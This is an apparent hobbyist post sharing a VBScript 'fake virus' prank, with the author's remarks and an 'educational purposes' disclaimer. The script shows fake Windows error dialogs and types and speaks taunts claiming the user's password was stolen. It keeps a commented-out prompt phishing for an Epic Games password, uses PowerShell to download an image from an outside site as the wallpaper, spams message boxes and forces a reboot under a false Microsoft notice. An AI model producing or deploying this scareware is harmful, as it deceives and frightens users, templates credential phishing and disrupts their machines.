Third version of my fake virus

not-a-virus-at-all-sir.vbs

Option Explicit
Dim wsh : Set wsh = CreateObject("Wscript.Shell")
Dim Sapi : Set Sapi = Wscript.CreateObject("SAPI.SpVoice")
Dim fso : Set fso = CreateObject("Scripting.FileSystemObject")

Dim passwd
Dim windowsDir
Dim Wallpaper
Dim x
x=0

Wallpaper = "C:\tmp\wallpaper.jpg"

Dim num
num=0

Do While x=0

    x=msgbox ("Warning: The file you have opened may be corrupted, Click abort to close the program, Click retry to try and recover the program, Click ignore to ignore the problem and continue " ,2+16, "Windows Application Compiler")

    Wscript.Sleep 1000

    passwd="Magic"

    ' passwd=inputbox("Please enter your Epic Games password to verify your account and continue the game installation.","Epic Games Installer", "")

    If passwd="" Then

        Wscript.Sleep 500

        msgbox "Please provide the correct password for a verified account used to purchase the game.",vbOKOnly+vbCritical

    Else

        Wscript.Sleep 500

        x=1

        wsh.Run "notepad.exe", 9

        WScript.Sleep 500 

        wsh.SendKeys "You've been hacked!"
        Sapi.speak "You've been hacked!"
        wsh.SendKeys "{ENTER}"

        WScript.Sleep 2000 

        wsh.SendKeys "I've now got your password stored in my database."
        Sapi.speak "I've now got your password stored in my database."
        wsh.SendKeys "{ENTER}"

        WScript.Sleep 2000 

        wsh.SendKeys "And there is nothing you can do about it."
        Sapi.speak "And there is nothing you can do about it."
        wsh.SendKeys "{ENTER}"

        WScript.Sleep 2000 

        wsh.SendKeys "HAHAHAHA! You stupid little human."
        Sapi.speak "HAHAHAHA! You stupid little human."
        wsh.SendKeys "{ENTER}"
        
        WScript.Sleep 2000 

        wsh.SendKeys "So now go get IT to help you, chicken-little!"
        Sapi.speak "So now go get IT to help you, chicken-little!"
        wsh.SendKeys "{ENTER}"
        wsh.SendKeys "{ENTER}"
        wsh.SendKeys "- Anonymous"

        WScript.Sleep 10000 

        wsh.run "powershell.exe"

        WScript.Sleep 1000 

        wsh.SendKeys "cd C:/"
        wsh.SendKeys "{ENTER}"
        WScript.Sleep 300
        wsh.SendKeys "mkdir tmp"
        wsh.SendKeys "{ENTER}"
        WScript.Sleep 300
        wsh.SendKeys "$client = new-object System.Net.WebClient"
        wsh.SendKeys "{ENTER}"
        WScript.Sleep 300
        wsh.SendKeys "$client.DownloadFile{(}""http://code.geheimesite.nl/images/bsod.jpg"", ""C:/tmp/wallpaper.jpg""{)}"
        wsh.SendKeys "{ENTER}"
        WScript.Sleep 300
        wsh.SendKeys "exit"
        wsh.SendKeys "{ENTER}"
        WScript.Sleep 300

        wsh.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\Wallpaper", Wallpaper
        wsh.Run "C:\Windows\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

        MsgCritical "Sytem failure in %WINDIR%","Windows Management Error"

        WScript.Sleep 100

        MsgCritical "WinSyS file corrupted!","System Interrupts"

        WScript.Sleep 400

        MsgCritical "Bash runtime crashed!","Bash Runtime Reporter"

    End If

Loop

Do While x=1 

    Do Until num=30
        num=num+1
        wsh.SendKeys "Y0u've beEn h@cked!"
        MsgExclamation "YOU'VE BEEN HACKED! CLICK OK TO ACCEPT", "ANGRY ROBOT FROM FAR PLANET"
    Loop

    x=2
    wsh.run "cmd /k shutdown -r -t 250 /c ""Your computer is hacked and being monitored on unknown location. To prevent this Microsoft is shutting your computer down"""

Loop


'Functions for simple no wait message boxes without return values.
Function MsgBlank(m, t)
	wsh.Run "mshta.exe vbscript:Execute(MsgBox("""&m&""",vbOkOnly,"""&t&""")(window.close))"
End Function
Function MsgCritical(m, t)
	wsh.Run "mshta.exe vbscript:Execute(MsgBox("""&m&""",vbCritical,"""&t&""")(window.close))"
End Function
Function MsgInformation(m, t)
	wsh.Run "mshta.exe vbscript:Execute(MsgBox("""&m&""",vbInformation,"""&t&""")(window.close))"
End Function
Function MsgExclamation(m, t)
	wsh.Run "mshta.exe vbscript:Execute(MsgBox("""&m&""",vbExclamation,"""&t&""")(window.close))"
End Function

I made this mainly because I wanted to learn vbs, but it's also quite fun.
It is able to crash your computer when increasing the number 30 in the Do Until loop.

This version downloads the new wallpaper automatically using powershell. It also has some other fun extra dialog boxes and errors.

NEVER USE THIS TO HARM SOMEONE!!
This is purely for educational purposes ONLY!